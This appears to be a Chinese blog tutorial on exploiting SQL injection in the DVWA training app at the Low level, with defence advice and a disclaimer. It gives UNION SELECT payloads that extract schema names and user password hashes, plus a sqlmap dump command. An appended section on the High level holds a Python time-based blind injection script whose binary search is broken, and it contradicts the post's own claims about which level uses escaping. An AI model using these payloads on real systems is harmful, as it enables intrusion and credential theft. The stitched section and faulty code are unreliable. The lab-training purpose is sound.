【DVWA系列】——SQL注入——low详细教程

本文仅用于技术研究,禁止用于非法用途。
Author:枷锁


本文环境Security Level:low
以下是针对DVWA(Damn Vulnerable Web Application)中SQL注入漏洞在 Low安全级别下的详细教程,包含环境配置、漏洞原理、利用步骤及防御建议:


一、环境准备

1设置安全级别

  • 进入 DVWA Security → 选择 Security Level: Low → 点击 Submit

二、漏洞分析(Low级别)

  • 漏洞代码(查看源码路径:/vulnerabilities/view_source.php?id=sqli):
    $id = $_REQUEST['id'];
    $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    
  • 问题:用户输入的$id直接嵌入SQL语句,攻击者可通过插入单引号')闭合原有语句,注入恶意代码。

三、SQL注入攻击步骤

1. 探测注入点
  • 输入'(英文单引号)
    响应:SQL语法报错(如You have an error in your SQL syntax...)→ 存在字符型注入。
    在这里插入图片描述
2. 判断字段数
  • 输入1' ORDER BY 2 # → 正常返回
    在这里插入图片描述

    输入1' ORDER BY 3 # → 报错

在这里插入图片描述
结论:原查询返回2个字段

3. 确定回显位置
  • 输入1' UNION SELECT 1,2 #
    响应:页面显示数字12 → 两个字段均可回显数据
    在这里插入图片描述
4. 获取数据库信息
  • 数据库名与版本
    1' UNION SELECT database(), version() #
    
    响应:显示数据库名(如dvwa)和MySQL版本。
    在这里插入图片描述
5. 获取表名
  • 输入
    1' UNION SELECT 1, group_concat(table_name) 
    FROM information_schema.tables 
    WHERE table_schema = database() #
    
    响应:返回表名(如guestbook, users)。
    在这里插入图片描述
6. 获取字段名(users表)
  • 输入
    1' UNION SELECT 1, group_concat(column_name) 
    FROM information_schema.columns 
    WHERE table_name = 'users' #
    
    响应:返回字段名(如user_id, user, password)。
    在这里插入图片描述
7. 拖取用户数据
  • 输入
    1' UNION SELECT user, password FROM users #
    
    响应:显示所有用户名及MD5加密的密码(如admin → 5f4dcc3b5aa765d61d8327deb882cf99)。
    在这里插入图片描述

四、防御建议

  1. 预处理语句(PDO)
    $stmt = $conn->prepare("SELECT first_name FROM users WHERE user_id = ?");
    $stmt->bind_param("i", $id);  // "i"表示整数类型
    $stmt->execute();
    
  2. 输入过滤
    • 数字型参数:if (is_numeric($_GET['id'])) { ... }
    • 字符型参数:使用mysqli_real_escape_string()转义单引号等特殊字符。
  3. 最小权限原则:数据库账户仅授予必要权限(如禁止DROP)。

五、总结

  • Low级别漏洞本质:未过滤用户输入,直接拼接SQL语句导致命令执行。
  • 攻击核心:通过UNION SELECT联合查询逐步获取数据库元数据及敏感信息。
  • 防御核心预处理语句是根治SQL注入的最有效方案。
提取关键信息
目标信息Payload示例作用说明
数据库名与版本-1' UNION SELECT database(), version()#获取当前库名(如dvwa)及MySQL版本
所有表名-1' UNION SELECT 1, group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()#返回表名(如guestbook, users
users表字段名-1' UNION SELECT 1, group_concat(column_name) FROM information_schema.columns WHERE table_name='users'#返回字段名(如user, password
用户凭证数据-1' UNION SELECT user, password FROM users#获取用户名及MD5加密密码

自动化工具利用(sqlmap)
1. 捕获请求
  • 使用Burp Suite或浏览器开发者工具获取提交id=1时的HTTP请求(含Cookie)。
2. sqlmap扫描命令
sqlmap -u "http://靶机IP/vulnerabilities/sqli/?id=1&Submit=Submit" \
       --cookie="PHPSESSID=xxx; security=low" \
       --batch --dbs
  • 关键参数
    --dbs:列出所有数据库
    -D dvwa --tables:获取dvwa库的表
    -D dvwa -T users --dump:导出users表数据(自动破解弱口令MD5)。

Low级别与其他级别防护对比

安全级别输入方式防护措施绕过难度
Low文本框直接输入无过滤
Medium下拉菜单mysql_real_escape_string转义⭐⭐
High独立输入页Token校验 + LIMIT 1限制⭐⭐⭐
Impossible表单验证PDO预处理 + CSRF Token不可绕过

  • Low级别漏洞本质:用户输入直接拼接SQL语句,无过滤无转义。
  • 攻击核心:通过闭合单引号注入UNION SELECT联合查询,逐步获取数据库元信息及敏感数据。
  • 防御核心预处理语句是唯一根治方案,辅以输入验证与最小权限原则。

⚠️ 注:本教程仅用于教育目的,实际渗透需获得授权。建议在DVWA的Medium/High级别中练习更复杂的绕过技巧。


相关学习问题

  1. Medium级别如何绕过mysql_real_escape_string
    → 通过数字型注入十六进制编码绕过单引号过滤(如table_name=0x7573657273)。
  2. 布尔盲注与时间盲注在Low盲注模块的区别?
    → 布尔盲注依赖页面返回状态(存在/缺失),时间盲注通过SLEEP()函数观察响应延迟判断条件真伪。
  3. PDO预处理为何能彻底防御SQL注入?
    → PDO将用户输入视为数据参数而非SQL代码,从语法层面隔离指令与数据。

如需进一步实践,可参考:DVWA渗透测试实战指南SQL注入防御最佳实践

⚠️ 注:本教程仅用于安全学习。实际渗透测试需获得授权,避免非法攻击。

通过此教程,可清晰掌握DVWA Low级别SQL注入的手动利用链及防御逻辑。建议逐步挑战Medium/High级别,理解不同防护机制的绕过技巧。

宇宙级免责声明​​
🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。

🔐 安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

希望这个教程对你有所帮助!记得负责任地进行安全测试。

DVWA (Damn Vulnerable Web Application) 是一款用于安全测试练习的Web应用程序,它包含了各种各样的漏洞供用户学习如何利用以及修复它们。对于高难度级别的SQL注入挑战(DVWA High SQL Injection),程序增加了基本的安全措施如输入过滤、字符转义等。 ### DVWA HIGH 级别 SQL 注入解析 #### 防护机制特点 在这个级别上,默认会启用 PHP 的 `mysql_real_escape_string` 函数来对用户的输入进行处理。该函数可以将特殊字符转换成其对应的转义序列,例如单引号 `'` 转换成 `\'` 。这一功能有效防止了大部分简单的字符串拼接型攻击向量。 然而即便如此,仍然存在某些技巧绕过这种基础防御层: 1. **时间盲注** 即使无法直接从页面获取反馈信息,也可以通过测量服务器响应延迟推测查询结果是否满足条件。比如构造类似下面这样的payload: ```sql admin' AND SLEEP(5)-- ``` 2. **基于错误的信息泄露** 如果系统配置允许显示详细数据库报错消息,则有可能提取出有用的数据片段。尽管此路在HIGH模式下通常被封锁掉了,但仍值得尝试。 3. **联合查询** 当目标字段数已知并且支持UNION运算符的情况下,可以通过附加额外的结果集读取敏感数据。不过这里的难点在于需要找到合适的列匹配方式以避开类型冲突的问题。 4. **布尔盲注法** 反复调整请求参数值并观察返回内容的变化趋势判断真假命题成立与否进而逐位恢复隐藏的目标记录文本串形式表示。 --- ### 解决方案示例代码(Python版) 这里提供一段python脚本作为参考,演示如何自动化完成上述任务之一 —— 时间盲注猜解管理员密码的过程。(注意仅限于教育用途) ```python import requests,time,re target_url="http://localhost/DVWA/vulnerabilities/sqli/" data={'id': None,'Submit':'Submit'} cookies={"security":"high","PHPSESSID":""} def check_true(payload): data['id']=f"admin'+{payload}--" start=time.time() resp=requests.post(target_url,data=data,cookies=cookies).text end=time.time()-start return True if "User ID exists in the database."in resp and end>5 else False flag="" for i in range(1,9): #假设我们猜测长度为8 low,mid,up=0,0,127 while(low<=up): mid=(low+up)//2 payload=f"(CASE WHEN ASCII(SUBSTRING((SELECT password FROM users WHERE user='admin'),{i},1))>{mid} THEN SLEEP(5) ELSE 'a' END)" res=check_true(payload) if(res==True): print(f"[+] Found char {chr(mid)} at position {i}") flag+=chr(mid) break print("[*] Final cracked result:",flag) ``` ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值